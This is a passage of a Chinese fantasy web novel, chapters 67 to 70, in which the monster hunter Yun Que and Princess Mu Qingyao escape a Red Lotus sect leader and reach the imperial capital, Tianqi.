漫天毒雾中,两道年轻的身影好似暗夜灯火,尽管微弱而渺小,却无法被熄灭。 第67章 不靠谱的三师兄 青光的出现,令云缺与牧青瑶觉得诧异。 本该身中剧毒的局面,竟莫名其妙的转危为安。 两人动作一致,低头看向青光的来源。 随后各自拿出一个有些古旧的小巧香囊。 一个绣着龙,一个绣着凤。 云缺与牧青瑶对视了一眼,从对方的眼中看出一份意外。 香囊,是七叔临别时的赠予。 由七叔与他那位已故的知己共同研制的驱毒香囊。 按照七叔的说法,香囊年头太久,效用大不如前,只能趋避蚊虫。 没想到所谓的趋避蚊虫,只是个谦虚说法而已,这两个香囊居然能让持有者在五毒大阵中安然无恙! “咦?” 毒雾深处传来一声疑惑之音。 红莲教主隔着黑纱望向两人手里的香囊,奇怪的沉默着。 云缺趁机拉着牧青瑶往前冲。 五毒大阵仿佛失去了控制,五只毒虫没再拦截。 靠着香囊驱毒的奇效,两人很快冲出毒雾。 云缺狠狠的呼吸几口空气,回身站定。 逃,是不可能的。 因为逃不掉。 对方是五品强者,云缺想要带着牧青瑶逃走,没有丝毫希望可言。 “剩下的路,你自己走。” 云缺面朝着毒雾,背对着牧青瑶,声音平静。 云缺没拿出蛇蛋鸟蛋,也没拿蛙卵。 因为不需要了。 即便动用妖刀的全力,也无法匹敌远超自己三个大境界的敌人。 以八品修为加上妖刀之力,云缺能斩杀七品,哪怕面对六品强敌,云缺也有一战之力。 可五品之上的强大对手,根本无法匹敌。 所以无需再压制妖刀的力量。 云缺要用自己,作为最后的祭品! 其实云缺也很好奇,自己的刀,究竟能爆发出多大的力量。 妖刀里的怪物,究竟有多强? 牧青瑶没走。 而是站在云缺旁边,一头秀发随风轻摆,一张俏脸遍布决然。 “最后的路,我们一起走,生同衾,死同穴。” 灵芸郡主昂首而立,尽管那副小小的身躯备显柔弱,可神色间毫无惧色。 云缺无奈的看了眼牧青瑶,道: “你进了皇城,我的银子就算到手,我死之后你可以拿钱帮我修一座大墓,至少我赚了个坟,你如果也死了,我找谁要钱去。” 不等牧青瑶说话,红莲浮现。 道姑的身影重新出现在两人面前,漠然道: “知己难求,你们无需分开,今日,可以同死。” 一炷香的时间已经过了近半,八山城的苏鸿山即将抵达,道姑不再迟疑,即将出手。 就在云缺准备拼死一战,红莲教主准备全力出手之际,路边的半空中忽然出现一道光环。 光环乍一出现,立刻腾起圆环形的光华,好似一道光柱冲天而起。 光柱里的空间不断波动,浮现出一道人影。 很快那人影凝实下来,是一名书生打扮的年轻人,一身儒衫文质彬彬,看年纪不到三十。 书生一眼看到牧青瑶,惊喜道: “小师妹!” 看到书生,牧青瑶也随之大喜,道:“三师兄!你怎么来了!” 书生名为李玄驹,大晋司天监监正的三弟子,儒家修士,有着五品君子境的修为。 “我刚研制成一种新品类的传送阵,看到狼烟,正好出城试试。” 李玄驹得意的说完,发现周围毒雾与红莲法台上的道姑,皱眉道:“这家伙谁呀!” “三师兄小心,她想杀我。”牧青瑶一指红莲法台,道。 “好大的胆子!伤我小师妹,先问问我这个师兄再说!”李玄驹洪声断喝,气势十足。 强援来临,云缺终于松口气。 这家伙看起来挺厉害,就算打不过红莲教的教主,至少能拖上一时。 云缺和牧青瑶此时都有一种劫后余生的感觉,两人轻松不少。 可李玄驹喝完之后,他脚下的传送法阵又升腾起光幕,将他整个人笼罩起来。 看样子好像还要传送。 “遭了!遭了!” 李玄驹脸色大变,急急道:“我这个是连环传送法阵,要连续传十次才停得下来!” 云缺和牧青瑶刚刚放松的心情,就此冷却。 云缺这时候很想破口大骂。 大晋的司天监都是什么人呐,这个三师兄也太不靠谱了! 传送阵哪有连环传的,你这是来看热闹的啊,踩一脚就走。 传送阵即将生效之际,李玄驹抬手指向莲台,以最快速度喝道: “博闻强识而让,敦善行而不怠,君子言,画地为牢!” 牢字刚出口,李玄驹的身影随着光晕消失,原地空空如也。 虽然没帮上忙,好歹这位三师兄在最后时刻动用了君子境的言出法随,施展出一道强横法术。 莲台周围的空间瞬间浮现出一片咒文,密密麻麻铺满半空,犹如一座浮空的牢狱,将红莲教主困在其中。 云缺趁机拉着牧青瑶就跑。 小郡主只觉得自己脚不沾地,整个人跟飞起来似的,被云缺当成了风筝。 难得的机会,云缺可不想错过。 趁着那道姑被困住,能跑多远是多远。 很快云缺冲出数百丈远,正想将牧青瑶重新背起的时候,云缺听到身后传来一阵嘎吱吱的怪响。 就像木头箱子被一点点从里面撑破的声音。 随后轰隆一声! 一团气浪如狂风般四散开来。 回头看去,那座红色的莲台漂浮半空,周围的咒文牢狱已经被尽数破开。 这么快! 云缺心头暗惊。 同时察觉到一个不寻常的地方。 同为五品,李玄驹动用的言出法随,至少能将同阶对手困住一段时间。 这才过了几个呼吸而已,几乎片刻就被破开! 如此诡异的情况,只有两个可能。 不是李玄驹放水,没用全力,就是红莲教的教主有着远超五品的修为! 云缺的心头随之一沉。 难道说,那道姑当真是四品高手…… 莲台在半空闪烁了一下,瞬间飞抵近前。 云缺再次停下脚步。 没办法,最后还得拼命。 道姑抬手唤出一道剑光,其上升腾着强力的法力波动。 “你们逃不掉,认命吧。” 道姑即将动手之际,黑纱后的眉峰忽然挑了一下,转头望向天祈城的方向。 云缺与牧青瑶此刻都感觉到脚下的地面在微微震动。 这种情况,预示着大军来临。 一支上千人的重甲骑兵,已经出现在不远处。 为首的,是一匹白马。 那白马一身长毛,快如闪电,好似一股白色的旋风在快速接近。 从对方的速度估算,用不了片刻即可抵达此地。 “禁军……” 道姑呢喃着再次转头,望向八山城的方向。 她终于看到了落日下的滚滚狼烟。 “原来如此,你居然还有这份后手,本座倒是没想到。” 道姑点点头,望着云缺道:“这次算平局,不过你不用高兴,你的命始终在我手里,何时来取,看我心情。” 八山城的狼烟,终于引动了天祈城的禁军。 苏鸿山还有不到半炷香的时间才能抵达,而禁军即将冲到近前。 从城门被杀的教徒身上,道姑猜到了灵芸郡主有可能伪装成山匪出城,但她没料到八山城会燃起狼烟。 其实狼烟这个后手,是个巧合而已。 如果云缺没在八山城遇到马小脚和牛不才,他根本没机会接近烽火台,更别提点燃狼烟求援。 “别人的命,我不管,想要牧青瑶的命,你得先问问我的刀!”云缺不甘示弱的道。 风一般的白马即将赶到,红莲教主不知在忌惮着什么,她选择了退走。 莲台旋转,散落漫天花瓣。 在消失之前,道姑忽然轻笑了一声。 “你,护不住灵芸郡主。” 道姑合拢双手,结出一个奇怪的法印,低语道:“魂咒,莲花印。” 道姑往前轻轻一推,竟凭空推出一朵美轮美奂的小巧莲花! 莲花看起来极为真实,通体艳红。 莲台消失,红莲教主破空遁走。 可她留下的小巧莲花没消失,轻飘飘飞向牧青瑶。 看似轻盈,速度其实很快,片刻间到了近前。 云缺自然看得到那红莲,更知道这东西定是凶险之物,于是抬手一刀,斩在莲花上。 刀,砍中了。 红莲丝毫无损! 绝非实物! 否则不可能砍不到。 也不是正常法术,以云缺妖刀上的力量,哪怕法术也有机会斩开。 即便斩不断,最起码长刀会被法术震开。 可偏偏云缺一刀下去,刀锋直接在红莲上划过,就像砍到一团空气。 小巧的红莲越过长刀,飘向牧青瑶。 小郡主避无可避,眼看要被红莲撞上。 云缺一怒之下,不再用刀,而是轰出一拳。 这一拳汇聚了大量煞气。 拳风呼啸! 然而云缺的拳头,仍旧穿过了红莲,一击落空。 挡不住! “什么鬼东西!” 云缺猛然回头,那红莲即将印在牧青瑶身上。 看着飘来的红莲,牧青瑶连连后退,小脸苍白。 她此刻有一种强烈的预感,若被莲花临身,自己将会魂飞魄散! 千钧一发之际,云缺以身体挡在牧青瑶面前。 红莲没入云缺的心窝,终于消失。 牧青瑶后退的脚步踉跄跌倒,等她站起来,看到的,是黑衣少年一动不动的背影。 灵芸郡主愣怔了片刻。 眼眸里忽然涌出泪水。 “云缺!!!!!!” 小郡主凄凉的呼唤,在落日下宛若悲鸣。 第68章 其实我是砍柴的 最后一缕夕阳从大地上消失。 黑夜来临。 牧青瑶此刻的心情亦如冷夜,漆黑无光。 最后的路,她发誓要和云缺一起走下去,生死与共。 可是最后,只剩下她自己孤身一人。 眼泪决堤。 牧青瑶踉跄着扑到云缺身后,紧紧抱住。 “你不能死!你还没赚到银子,你还没去学宫,你还没摸到我!云缺,我不许你死!” 从出生以来,灵芸郡主始终是一位稳重的女孩。 哪怕遇到妖物当前,即将身死的地步,她也从未如此惊慌过。 此刻, 牧青瑶大哭着,大喊着,再也没了郡主的仪态,犹如一个失去挚爱的平凡少女般,彻底崩溃。 知己难求,更何况肯为自己而死的知己。 这一路行来,牧青瑶早已对云缺有了不同寻常的感情。 相识以来的一幕幕往事,在牧青瑶脑海里相继浮现。 从青狐山相遇,藏石镇破解双子诡案的默契,到百玉城危机,一起解救满城百姓的惊险。 从游玩虎妖洞府浮萍山,到乌鸡镇迎娶白骨新娘。 从黑风寨入伙成为山匪,到大闹八山城替天行道。 这番经历,对小郡主而言是前所未有的经历,既惊险新奇,又充满温馨。 若世上没有了云缺这位猎妖人,她这一生将再无欢笑,再无知己。 悲痛到绝望之际,小郡主已然痛不欲生。 正这时,牧青瑶忽然听到熟悉的声音响起在耳畔。 “没想到你力气还挺大的,再勒我要喘不过气了。” 牧青瑶怔住了,急忙松开抱住云缺的手,惊呼道:“你没死!” 云缺转过身,笑道:“当然没死,郡主的便宜我还没占着呢,怎么能死。” “太好了!” 牧青瑶紧紧抿着唇,不再压抑自己的情绪,一头扑进云缺的怀里。 明月当空。 长路上寂静无声,只有一双紧紧相拥的身影。 “喂,来人了,再抱着的话,郡主的声誉怕要毁于一旦。”云缺轻轻拍了拍牧青瑶的肩头。 小郡主这才慌乱的挣脱开来。 “那朵红莲呢?”牧青瑶担忧道。 云缺以身体挡住了红莲,那红莲教主最后施展的魂咒绝对非同小可。 “不知道,好像消失了。”云缺皱着眉道。 他也十分奇怪。 红莲明明飘进自己身体,除了有一点说不来的古怪感觉之外,没有任何威胁存在。 云缺现在好端端的,什么伤都没有。 仿佛那看似可怕的魂咒,只是吓唬人的把戏一般。 可红莲教主追杀了牧青瑶这么久,最后一刻不会只留下一个把戏。 云缺没时间多想,因为一匹白马已经到了近前。 那白马通体如雪,浑身长毛,快若旋风。 尤其白马的四蹄,踏地之际轻飘飘,马蹄与地面几乎一触即分,犹如踏空而行一般。 白马来得极快。 马上是一位武将,三十多岁的年纪,鼻正口方,相貌堂堂,慵懒的眸光中透着一股睿智。 没有盔甲,一身普通的锦衣。 此人来到近前后弯弓搭箭。 当弓弦被拉满的那一刻,云缺能听到四周出现风声。 箭未出,风先聚! 如此现象,代表着箭矢之上蕴含着磅礴的气机,这一箭尚未发出,已然引动了周围空气。 嗖!! 弓弦轻颤,一箭破空。 一道流光在云缺与牧青瑶头顶掠过,好似一颗流星。 箭矢的落点,是不远处那团尚未消散的毒雾。 五毒虫已经被红莲教主带走,可毒雾犹在,聚拢成一团,在夜幕下如同一团乌云。 箭矢直接扎进毒雾里。 下一刻,一片气浪从毒雾深处炸起! 气浪并未四溢,而是旋转升腾,形成小型的龙卷风,将毒雾带到高空,相继搅散。 这一箭的威能可以说精妙到极致! 轻松化解了聚而不散的毒雾威胁,不伤任何人,将危机完美解除。 好高明的箭法! 云缺是识货的,同为武者,一眼即可分辨出对方的能耐。 别的能力不说,单说箭法这一块,白马上的男子堪称神箭手! 先驱散毒雾,白马上的武将才将目光落在两人身上,随后现出诧异之色。 “郡主?” 认出牧青瑶后,此人翻鞍下马,躬身见礼道:“白厌,见过郡主。” “白将军免礼。” 牧青瑶恢复了郡主的仪态,语气平静,稳重如常,只是眼角还有些尚未擦干的泪痕。 “郡主因何在此,莫非八山城的狼烟,是郡主所为?” 白厌问道,说话的同时,看了眼郡主旁边的黑衣少年。 “不得已而为之,我被敌人追杀,才想出这等办法。”牧青瑶简短道。 白厌闻言单膝跪地,低头道:“微臣来迟一步,罪该万死。” 牧青瑶连忙上前搀扶道:“白将军何罪之有,快快请起。” 白厌起身后,懊悔道: “方才那朵莲台,微臣远远看到,不知敌友,未曾贸然出手,若知是郡主之敌,微臣拼尽全力也当援手才是。” “不怪白将军,你来得已经够及时了。”牧青瑶道。 白厌苦笑了一声,朝云缺颔首示意,道: “多亏这位小兄弟,否则我这个金吾卫指挥使也该做到头了,在下白厌,小兄弟尊姓大名。” “云缺。”云缺报出名号后,加了句:“打猎的。” “你猎的,应该是妖。”白厌微笑道。 “何以见得?” 云缺倍感好奇,这还是他第一次被陌生人看穿身份。 “看你的手就知道了,八品武者以打熬本体为主,搏杀反而在其次,拿刀与否并不重要,而你的手有一层老茧,比起常年拿刀的边军都要厚实,所以你的猎物,只能是妖,你是一位常年杀妖的猎人。” 白厌微笑道。 “其实我是砍柴的。”云缺同样报以善意的微笑,并反驳了对方。 你说我是猎妖的,我就得是猎妖的么,我常年砍柴一样能磨出一手老茧。 “是我看走眼了。”白厌不以为意,笑道:“小兄弟砍的柴,煞气可够重的。” 云缺呵了一声,表面平静,但心头暗惊。 这个白厌不简单,居然能看穿煞气! 要知道云缺不刻意散发煞气的时候,外人很难看出端倪。 白厌来得太快,以至于他到了有一阵儿,身后的禁军大队人马才赶到。 这时白厌的那匹白马忽然人立而起,前蹄腾空,发出一声唏律律长啼。 白马的躁动,是因为对面大路上冲来一匹黑马。 黑马与白马的轻灵不同,如狂风般轰鸣而至,马蹄落下的同时会在地面踏出一个坑来。 白厌拉住缰绳,白马立刻安静下来,一双马眼清澈通明,灵动十足。 云缺对白厌的坐骑很好奇。 之前还以为是妖兽,结果并不是,而是正宗的马匹,毫无妖气。 但白马的速度之快,几乎不弱于萍山君。 这绝对是一匹神马,应该有着奇特的血脉传承。 赶来的黑马就不同了。 一身漆黑的鳞片,看着就厚重狰狞,鼻息如雷,马头硕大,马眼赤红,这匹马如果不拴起来,任谁看到都觉得它会咬人。 “白厌?你怎么在这!”苏鸿山勒住战马,皱着眉喝道。 “八山城烽烟起,陛下命我前来查看。”白厌道。 “烽烟?” 苏鸿山惊疑之下回头看去,尽管已经是夜晚,但八山城城头上的熊熊火光依旧能看到。 “谁点的狼烟!”苏鸿山快要被气糊涂了。 他追杀山匪就憋着一肚子气,结果自己出来了,城里居然燃起烽烟。 为了几个山匪,八山城就点起烽烟,这要让皇帝知道,那都不是降罪与否的问题,而是苏鸿山今后还有没有脸见人的问题。 “苏伯伯,是我点的烽烟。”牧青瑶脆生生的道。 “青瑶!你这丫头怎么在这里!”苏鸿山这时才看出女扮男装的灵芸郡主,大惊道。 相比于白厌的臣子之礼,苏鸿山对牧青瑶显得亲近得多,他是阜南王的老友,从小看着牧青瑶长大的,在牧青瑶面前自然以长辈自居。 “说来话长,我被红莲教一路追杀,为了安全抵达天祈,于是想出假冒山匪,点燃烽烟的计划。” 牧青瑶简短道:“烽烟之事苏伯伯不必担心,我会向陛下请罪。” 得知牧青瑶的处境,苏鸿山也不在乎烽烟的罪名了,埋怨道: “丫头你糊涂!到了八山城你该去寻我才对,有苏伯伯护送,还怕什么红莲教绿莲教!你这是没出事,真要有个意外,我怎么向你爹交代!” 苏鸿山说得语气很重,看似责怪,实则是担心。 牧青瑶苦笑着一个劲点头,没急着解释。 她知道这位苏伯伯是火爆脾气,发火的时候最好先听着,越反驳,苏伯伯越恼火。 灵芸郡主善解人意,一旁的白厌可丝毫不给苏鸿山情面,点破道: “郡主此举,为瞒天过海之计,瞒的自然是绝顶高手,若苏将军一路护送,郡主怕是活不到皇城。” 苏鸿山一听立刻火气大起,不甘示弱的道: “区区红莲教,听都没听过,能有什么绝顶高手!难道连我这个五品武者也打不过吗!青瑶你来说,到底那红莲教的高手是什么修为!” 牧青瑶只好如实道:“那教主应该是五品金丹境。” 苏鸿山大笑一声,瞪着白厌道:“听到没有!五品金丹而已,我就算打不过,也扛得住!我不信一个金丹修士能从我手里抢人!” 白厌则缓缓摇头,轻叹了一声。 苏鸿山大怒,认为白厌瞧不起他,咄咄逼人的道: “怎么!难道白将军认为一个同阶修士,就能杀了苏某人我不成!” 苏鸿山的自傲,并非目中无人。 因为武者一旦冲进六品之上,无论本体强度还是自身战力,都会迎来巨大的突破。 武者六品为宗师境,五品是金身境,四品为破军境。 六品宗师武者,气血充盈,气机旺盛,对本体力量驾驭与气机运用均可如臂指使,堪称完美掌握了自己的肉身之力,战斗之际不会浪费一丝一毫的力量,因此可更加持久的作战。 宗师不可辱。 这是一句流传多年的谚语。 除了赞叹宗师境的强大之外,还有一层含义。 辱没了宗师境武夫,容易被人家生生磨死! 其他修炼体系,均需要法力才有最大战力,没了法力,别说五品金丹修士,即便四品元婴也会被武夫斩杀。 而宗师境武者超长的作战能力,正是其他体系修行者最为头疼的地方。 只要不快速弄死宗师,那耗起来就会没完没了。 人家宗师的力气没耗尽之前,其他体系修士很容易先耗空法力。 五品金身境武者更加可怕。 不仅战力持久,本体也达到了一种恐怖的程度,堪比妖兽,尤其恢复能力极快,寻常伤势无需治疗很快就能痊愈。 哪怕致命伤,只要没立刻咽气,五品武夫同样拥有着巨大的威胁。 五品武者在濒死之战拖死同阶的传闻,可不止一则。 正是仗着自己有五品金身境修为,苏鸿山才如此笃定能在同阶金丹修士面前保下牧青瑶。 “苏将军应该知道,我的箭息术可锁定五里外的目标。” 白厌不急不缓的道出此言。 苏鸿山瞪着眼睛,一个劲运气,无言以对。 他的确不服白厌,毕竟同为五品武者,谁能服谁。 不过对白厌的箭法,苏鸿山是服气的,而且心服口服。 白厌与其他武者不同的地方,就是他的箭法。 五里之外,可杀同阶! 武夫最大的弱点,是只能近战,这也是被其他修行体系所嘲讽的缘由。 人家别的修士站在远处扔法术,武夫只能瞪眼硬接。 没办法,够不到! 而白厌的箭法,极其恐怖。 提起白厌的箭,大晋军中的所有武者,无人不服。 因此白厌还有个雅号,被称之为神箭白厌! 白厌神色凝重了下来,继续道: “当我锁定之后,那莲台立刻遁走,说明对方已经察觉到我的箭息术,而且那朵莲台,气息有点诡异,绝非五品那么简单,我怀疑,对方的修为不止金丹。” 第69章 通缉令上的杀人魔 白厌说完,云缺随之恍然。 难怪禁军尚未抵达,那红莲教主就选择提前退走,原来是感知到白厌的箭息术。 “难道是四品元婴!” 苏鸿山惊讶道:“若真是如此高手,我们俩联手也白搭,对方何必退走?” 白厌笑了笑,道:“苏将军别忘了此地是何处,皇城脚下,四品元婴也不敢放肆,我们不是对手,但天祈城里,有人能杀元婴。” 苏鸿山恍然大悟,一拍脑门,道: “对哦,只要我们拖住一时,皇城里自然会有高手源源不断赶来,还是白将军心思细腻,我是甘拜下风啊,难怪你叫儒将,我就是个武夫!” 两人说话的时候,苏鸿山那匹旋风驹龇牙咧嘴,朝着白厌的白马一个劲喷气,看样子很想上去咬两口。 白马踏动四蹄,显得躁动不安。 毕竟白马是马,而黑马是妖,存在天然的压制力,若让两匹马单纯斗一斗,白马肯定被咬死。 嘭! 苏鸿山一脚踹在旋风驹肚子上,把黑马踹得横移出一丈。 “给我老实点!咬了人家的刺白,你个蠢货赔得起嘛!” 苏鸿山口中的刺白,是白马之名。 黑马皮糙肉厚,一身鳞甲,被踹一脚也不在乎,不过老实了不少,看得出没少被苏鸿山打骂。 苏鸿山这才消了点火气。 云缺看得好笑。 难怪武夫总被人骂粗俗,不是没原因的。 “到底哪里冒出来的红莲教,怎么会有如此强者存在?” 苏鸿山疑惑道:“青瑶丫头,你到底惹了什么人呐。” 牧青瑶苦笑着摇头道: “我也不清楚,这次出门寻找灵花,抵达边界后便危机不断,护卫尽数战死,只剩我一个人活着,历尽千辛才走到这里,没有云缺护送,我早已丧命。” 苏鸿山打量了一番云缺,皱起眉道: “护送郡主,大功一件,不过小子,你这身板不行啊!一看就欠缺打熬,到我军中磨练几年,保准儿你跟我一样壮实!” 云缺咧了咧嘴,心说跟你打熬不一定壮实,但肯定越打熬越没脑子。 “多谢将军栽培,等有机会,一定去将军手下磨砺一番。”云缺客气了一句。 毕竟人家是正牌的五品高手,牧青瑶都叫伯伯,云缺自然得给点面子。 但云缺没想到这位将军简直一根筋,大手一挥道: “等什么!现在就是机会!一会你跟我走,到八山城军中效力,先给你个百夫长,表现好了换成千夫长!” 云缺听得嘴巴都张大了。 这位不仅没脑子,估计连人情世故也没懂多少,听不出来我是客气吗? “苏伯伯,云缺要去学宫,暂时不能跟你走。”牧青瑶解围道。 “去学宫啊,那算了。”苏鸿山听闻学宫二字,一点脾气都没有。 他不服白厌,但天祈学宫,他是服气的。 不仅苏鸿山,整个大晋的修行者,基本没人敢对天祈学宫不服气。 苏鸿山忽然想起一事,把牧青瑶拉到一旁,低声道: “丫头,你假冒山匪没什么,但你怎么真杀人呐!杀几个普通军兵也就算了,你把佟岐给宰了!他是朝廷任命的偏将,这件事伯伯我也兜不住啊!” 牧青瑶镇定自若的道: “苏伯伯放心,我不会枉杀无辜,佟岐此人私自开设赌坊,坑害了很多人,我有位朋友被他害得家破人亡,苏伯伯可以彻查佟岐,若他罪不当死,我愿承担一切后果。” “什么?佟岐开设赌坊坑人!” 苏鸿山闻言大怒,道:“我三令五申,军中之人禁止沾赌,他佟岐身为偏将居然开赌坊,简直岂有此理!回去后我立刻彻查此事!” 云缺在旁边听得直摇头。 这位将军实在够粗心的,连手下开赌坊都丝毫不知,而且那佟岐的赌坊至少开了十来年。 解释了前因后果,牧青瑶决定立刻回皇城。 有白厌护送,苏鸿山还是不放心,一路将郡主送到皇城门口才罢休。 路上,牧青瑶给云缺解释了白厌的军职。 金吾卫指挥使,隶属禁军,与苏鸿山一样均为将军职位。 但皇城禁军里的将军,含金量之高,可不是八山城将军能比的。 皇城禁军总共十二卫,分别为左右翊卫、左右骁卫、左右武卫、左右领军卫、左右监门卫、左右金吾卫。 十二卫共设六位指挥使,白厌便是左右金吾卫的指挥使。 指挥使之上,是统领所有禁军的大将军。 也可称为禁军大统领。 白厌此人,不同于粗俗的武夫,心智如狐,智谋百出,最喜欢看兵书,对儒道极为尊崇,为人处世也有一股子儒家之气,被同僚乃至敌人都尊称为儒将,是整个大晋有名的将星。 云缺听得很是入神。 白厌的年纪可不大,三十上下而已,就有了五品境界的修为,而且还是金吾卫将军,这种人是真正的天纵奇才! 看来皇城之内果然藏龙卧虎。 到了皇城脚下,苏鸿山即将返回八山城。 身为八山城的守将,没有皇帝调令之前是不能进皇城的。 分别前,苏鸿山沉声道: “红莲教既然有如此高手追杀,丫头你今后的处境很危险,短时间内千万别离开皇城,这件事非同小可,我回去后立刻派人去黑铁城通知你爹。” “不必麻烦了苏伯伯,我爹镇守边关,事务繁忙,这点小事无需打扰他老人家。”牧青瑶道。 “这可不是小事!他阜南王再忙,难道连闺女都不要了吗!这事儿不用你管了,我肯定通知他,要不是苏伯伯身为守将抽不开身,我亲自当你的护卫都行!”苏鸿山道。 牧青瑶无可奈何,知道这位苏伯伯是个热心肠,只好由他去了。 进城之后,白厌要去皇宫复命,烽烟这等大事,连皇帝都没敢睡,肯定等着查明真相呢。 白厌打算将郡主送到皇宫,牧青瑶婉言谢绝。 她准备明天再去面圣。 到了皇城,便彻底安全,这里是真正的天子脚下,不仅有伏妖大阵笼罩,还有无数巡街的武侯,其中不乏高手存在。 司天监的特殊法阵也在时刻监测着皇城内的气息波动。 但凡出现危险,司天监的强者会在第一时间出动。 红莲教的眼线再多,也不敢在皇城里作乱。 其实牧青瑶最主要的目的,是想与云缺逛一逛这座热闹非凡,被称为不夜之城的天祈皇城。 一路危机重重,几次险死环生,终于到了终点。 牧青瑶自从进城后,整个人显得明媚灵动起来。 等白厌带着军兵一走,牧青瑶立刻拉起云缺的手,跑向路边一个卖酥饼的摊位。 一人一份小酥饼,两人吃得津津有味。 “这家酥饼是整个皇城味道最好的一家!每次回来,我都会先买些解解馋。”牧青瑶调皮的道。 “原来郡主还是个吃货,皇城里有什么好吃的,你得带我吃个遍才行。”云缺道。 “没问题,本郡主答应你这个小小的请求了。”牧青瑶故作老成的道,说完忍不住咯咯直笑。 尽管已经入夜,皇城里灯火通明,宽敞的长街上人来人往,十分热闹。 “那边有一家小店,卖的汤圆味道一绝!” 牧青瑶兴致勃勃拉着云缺走上长街。 由于心情舒畅,两人的脚步不免有些快,云缺转身的工夫正好撞到一个路人。 对方不止一个,而是一伙年轻人,穿金戴银,锦袍加身,一看便是大户人家。 “怎么走路呐,没看到有人啊!” 被撞的年轻人见云缺一身布衣,顿时阴阳怪气的道:“这里是皇城,不是你们乡下,走路小心点乡巴佬!撞到了大人物没准小命不保!记住喽,皇城的路,不好走!” 遇到这种狗眼看人低的,如果换成在藏石镇,一记老拳就完事,根本不用废话。 不过这里是皇城,云缺不愿多事,没理睬对方。 牧青瑶面带歉意的赔了不是,并没抬出郡主的身份,对方一看是女孩子,没再刁难,一伙人扬长而去。 这几人都是家境殷实的公子哥儿。 惹事他们不太敢,又不是真正的衙内,在皇城里有几个钱根本不算什么,因为比你有钱的大有人在。 这些公子哥儿也就嘴上不饶人,最大的爱好是嘲讽穷人,骂骂乞丐,看看美女,晚上吃饱喝足出来遛弯,看看新鲜事。 还别说,今晚真有新鲜事。 城门旁边,有官兵新贴了告示,是一张通缉令。 城门旁其实贴满了通缉令,足有十几张,不是江洋大盗就是杀人的悍匪,每隔几天就有新的通缉令出现。 那几个公子哥儿见状立刻围拢上去,一边看一边点评。 “呦呵!银子不少啊,居然一千两!今年好像这个通缉犯的价最高了。” “可不是么,之前最贵的也就五百两。” “好家伙!杀了三百一十九人!这是把谁家灭族了啊!” “真正的杀人魔啊!谁遇到这家伙那可倒了血霉!” 几个公子哥儿先看的,是通缉令上的字,因为贴告示的官兵是从下往上贴的。 等通缉令贴完,几人终于看到其上的画影图形。 画得十分清晰,是个样貌清秀神色冷峻的年轻人。 当看到通缉令上的杀人狂魔之际,几个公子哥儿齐齐瞪大了眼睛,随后身体开始不停地打着摆子,一个个跟抽风了差不多。 他们在后怕。 怕得浑身冷汗! 因为通缉令上的杀人狂,不久前他们非但见过,还骂人家是乡巴佬来着! 第70章 宁负如来不负卿 城外。 之前打斗的位置附近,一圈光晕凭空浮现。 光柱一闪即逝。 李玄驹终于传送了回来。 “小师妹!小师妹?” 李玄驹四下看了看,挠头道:“没错啊,就是这里,人呢?” 这位司天监的三师兄喊了半天没人回话,于是没头苍蝇般在四周寻找起来。 找了半天,累得满身臭汗,一个人影也没看到。 “该不会小师妹被杀了吧……”李玄驹恼怒得大吼道:“死道姑!有种冲我来!欺负我家小师妹算什么能耐!” 李玄驹又急又恼的找人之际,他那位小师妹正拉着云缺在皇城里逛得开心。 天祈皇城,名副其实的不夜之城。 夜幕下,皇城里灯火通明,街边的店铺尽数开张,路边各类小吃无数。 长街上,行人络绎不绝。 沿路吃过几样小吃,牧青瑶拉着云缺来到街心,指着远处一座高耸入云的建筑道: “那是司天监!楼顶最高处是观星台,能眺望到整个皇城,景致绝美!师尊经常坐在观星台推演天机,我最喜欢在观星台赏月,明月仿佛触手可及!” 牧青瑶兴致勃勃的介绍着司天监高高的楼宇,云缺仰着头,面带微笑,可眉峰却始终微蹙。 很快,牧青瑶察觉到云缺的神色有些低落。 “抱歉,我忘了,司天监才是你的家。”牧青瑶轻声道。 来自前朝的猎妖人,出生于此,一次妖都大战后,国破家亡,流落边陲。 云缺对司天监的感情,是复杂的。 既熟悉,又陌生。 亦如这座恢宏的天祈城一样。 “早就不是了,我家在青狐山。” 云缺笑了笑,道:“皇城里还有什么好吃的,街边小吃填不饱肚子。” “我带你去吃包子!” 牧青瑶拉着云缺来到一间包子铺。 云缺还以为是街边的小摊小店,结果是一间三层酒楼,豪华气派。 两人来到三楼选了个靠窗的位置。 菜单就在桌上,云缺看了看,大为震撼。 确实是包子铺。 主要卖的都是包子,但包子馅五花八门,足有上百种! 寻常的菜肉自然不缺,还有鱼肉馅,莲子馅,桃花馅,鹿茸馅,海参馅,林林总总。 价格更不便宜。 最贵的要数唐僧馅,论个儿卖,不论屉,一个包子一两银子! 云缺看得好笑,指着菜单道: “唐僧原来没到西天啊,只走到天祈城,要不然怎么被人做成馅了。” 牧青瑶听得咯咯直笑,解释道: “店家吸引眼球的手段而已,唐僧馅的包子其实用了九种名贵材料,均有延年益寿的功效,所以才取了如此名号,味道不错的,你尝尝。” 反正郡主做东,云缺自然不客气,先要了一笼屉唐僧。 随后对小二道:“再来两笼二师兄。” 小二听得直挠头,疑惑道:“客官,我们这不卖二师兄,没有哇。” 云缺道:“你们连唐僧馅都卖,难道没有猪肉包子吗。” 小二恍然大悟,一拍脑门道:“有!当然有,客官稍等!三楼丙桌,唐僧一笼,二师兄两屉!” 小二有趣的吆喝引得周围食客捧腹大笑。 云缺的食量,这点包子自然不在话下,吃了个沟满壕平。 牧青瑶只要了两个桃花馅的包子,小口小口的吃着,含蓄而端庄。 “吃这么点,你不饿啊。”云缺打着饱嗝道。 “我平时只吃这些就够了。”牧青瑶轻声道。 不是不饿,而是不能再像以前那样吃得毫无风度。 因为这里是天祈皇城,她是灵芸郡主,一举一动都牵扯着皇族的颜面。 若被外人认出郡主在包子铺狼吞虎咽,丢脸的,是皇家。 回到皇城,郡主的身份便再也无法抛开。 “在藏石镇的时候,你吃的可不是这么点。”云缺笑道。 牧青瑶气得翻了个白眼,狠狠掐了掐云缺的手背。 只可惜小郡主的力道,就算手脚并用也掐不疼一位八品武夫。 “原来郡主活得也挺累的,不敢吃饱,不敢跑快,处处都有皇家礼仪限制。”云缺摇了摇头,道:“真无聊。” “每个人都有自己的命运,我既生在皇家,便无法选择。”牧青瑶望向窗外热闹的长街。 街上一些女孩子结伴而行,说说笑笑,打打闹闹,开心不已。 牧青瑶很羡慕那些平凡的女孩,可以肆无忌惮的与同伴玩闹。 可她不行。 她是郡主,只能遵循着皇室的规则。 “那你将来选的夫君,也得由皇帝做主喽,必须门当户对才行。”云缺平淡的道出一句。 牧青瑶立刻收回目光,神色肃穆的直视着云缺。 